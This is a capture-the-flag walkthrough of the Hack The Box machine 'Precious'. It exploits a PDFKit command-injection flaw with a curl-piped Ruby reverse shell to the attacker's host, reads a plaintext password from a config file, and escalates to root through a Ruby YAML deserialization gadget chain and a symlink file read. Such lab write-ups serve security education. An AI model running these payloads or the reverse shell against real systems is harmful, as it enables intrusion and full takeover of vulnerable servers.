HTB • Precious
Precious is an easy linux machine created by Nauten on Hack the Box that features a web server that uses a version of PDFKit that is vulnerable to CVE-2022-25765, which can be exploited to execute commands as the user ruby. Within this user’s home directory we find a folder containing a configuration file with the credentials for another user by the name of henry. As henry, we can run a particular script as root via the sudo
command. This script is vulnerable to a form of YAML deserialization, which leads us to code execution as root.
Initial Recon
Let’s first set up our environment and run a TCP port scan with this custom nmap wrapper.
1
2
3
4
5
6
# bryan@attacker
rhost="10.10.11.189" # Target IP address
lhost="10.10.14.4" # Your VPN IP address
echo rhost=$rhost >> .env
echo lhost=$lhost >> .env
. ./.env && ctfscan $rhost
The open TCP ports reported in the scan include:
Port | Service | Product | Version |
---|---|---|---|
22 | SSH | OpenSSH | 8.4p1 Debian 5+deb11u1 |
80 | HTTP | nginx | 1.18.0 |
The scan also reports that port 80 responds with a redirection to http://precious.htb/. Let’s add this hostname to our /etc/hosts
file.
1
2
3
# bryan@attacker
echo 'vhost=("precious.htb")' >> .env && . ./.env
echo -e "$rhost\\t$vhost" | sudo tee -a /etc/hosts
Web
We’ll begin by visiting http://precious.htb/ in our favorite browser.
The page apparently has some functionality that will convert the content at a given URL to a PDF document.
PDF Generator
Upon sending a dummy URL through the web form, we observe a request from our browser with BurpSuite.
The request just passes the submitted URL to the server. Let’s test this functionality on our own HTTP server.
1
2
3
4
# bryan@attacker
mkdir share && cd share
echo '<p>Hello!</p>' > index.html
python3 -m http.server --bind $lhost 8080
1
2
# bryan@attacker
curl -d "url=http://$lhost:8080/" http://precious.htb/ -o response.bin
We get a request to our HTTP server and subsequently receive the PDF result.
1
2
3
# bryan@attacker
file response.bin # The response body is a PDF document
xdg-open response.bin # Open the document
The document contains the text “Hello!”, which is expected because that is the content we had on our site earlier. Checking the metadata of the document with exiftool
, we find out that the Creator field mentions that the document was generated using a product identified as PDFKit v0.8.6.
CVE-2022-25765
After some research, we determine that this version of pdfkit is vulnerable to CVE-2022-25765, meaning we could potentially inject OS commands as explained here. Let’s try exploiting the bug to establish a reverse shell session with PwnCat. We’ll use a reverse shell written in Ruby because we know that Ruby is installed since PDFKit is written in Ruby.
1
2
3
4
5
6
# bryan@attacker
mkdir -p share && cd share
rb="require 'socket';spawn('sh',[:in,:out,:err]=>TCPSocket.new('$lhost',8443))"
echo "$rb" > index.html # Write ruby reverse shell to web index
python3 -m http.server --bind $lhost 8080 &>/dev/null & # Serve payload
pwncat-cs -m linux -l $lhost 8443 # PwnCat listener | Install: `pip3 install pwncat-cs`
1
2
# bryan@attacker
curl precious.htb -d "url=http://%2520%60curl%20$lhost:8080|ruby%60" # Trigger payload
Once we trigger the payload, Our PwnCat handler gets a callback and stabilizes the shell.
Privilege Escalation
Ruby
Our reverse shell session is in the context of the user ruby. In this user’s home directory, we find the file ~/.bundle/config
which contains potential credentials.
1
2
3
# ruby@precious.htb (PwnCat)
find ~ -type f # We find a configuration file of sorts
cat ~/.bundle/config # Let's read it
The user henry, associated with the password Q3c1AqGHtoI0aXAYFH
, is also present on the current machine with the same password.
1
2
# bryan@attacker
pwncat-cs ssh://henry@precious.htb # password is Q3c1AqGHtoI0aXAYFH
Henry
As henry, we can execute a specific command as root via sudo
.
1
2
# henry@precious.htb (SSH)
sudo -l
1 2 User henry may run the following commands on precious: (root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb
Let’s take a look at this script and see what it does.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
# Compare installed dependencies with those specified in "dependencies.yml"
require "yaml"
require 'rubygems'
# TODO: update versions automatically
def update_gems()
end
def list_from_file
YAML.load(File.read("dependencies.yml"))
end
def list_local_gems
Gem::Specification.sort_by{ |g| [g.name.downcase, g.version] }.map{|g| [g.name, g.version.to_s]}
end
gems_file = list_from_file
gems_local = list_local_gems
gems_file.each do |file_name, file_version|
gems_local.each do |local_name, local_version|
if(file_name == local_name)
if(file_version != local_version)
puts "Installed version differs from the one specified in file: " + local_name
else
puts "Installed version is equals to the one specified in file: " + local_name
end
end
end
end
This script doesn’t do much besides calling YAML.load
on the content of the file dependencies.yml
from our working directory. When looking into vulnerabilities affecting YAML.load
, we discover that it is not safe to use with user supplied data. We also run into this wonderful post that describes a gadget chain we could potentially use to execute commands as root. We’ll modify the command within the YAML payload from the post to spawn an interactive root shell.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
---
- !ruby/object:Gem::Installer
i: x
- !ruby/object:Gem::SpecFetcher
i: y
- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::Package::TarReader
io: &1 !ruby/object:Net::BufferedIO
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "abc"
debug_output: &1 !ruby/object:Net::WriteAdapter
socket: &1 !ruby/object:Gem::RequestSet
sets: !ruby/object:Net::WriteAdapter
socket: !ruby/module 'Kernel'
method_id: :system
git_set: "bash -pi"
method_id: :resolve
Now with the YAML payload dependencies.yml
in our working directory, we execute the vulnerable script with sudo
1
2
# henry@precious.htb (SSH)
sudo /usr/bin/ruby /opt/update_dependencies.rb # trigger the payload
The command successfully spawns a root shell, from which we can read the final flag at /root/root.txt
Alternative Solution
Another way we could get the root flag is by using the script at /opt/update_dependencies.rb
to read files through a symlink. When the script looks for dependencies.yml
in the working directory, it will find a planted symlink that will point to /root/root.txt
. When the script tries to parse the file as YAML, it will display an error containing the file contents.
1
2
3
4
# henry@precious.htb (SSH)
cd $(mktemp -d)
ln -s /root/root.txt ./dependencies.yml # create symlink
sudo /usr/bin/ruby /opt/update_dependencies.rb # read /root/root.txt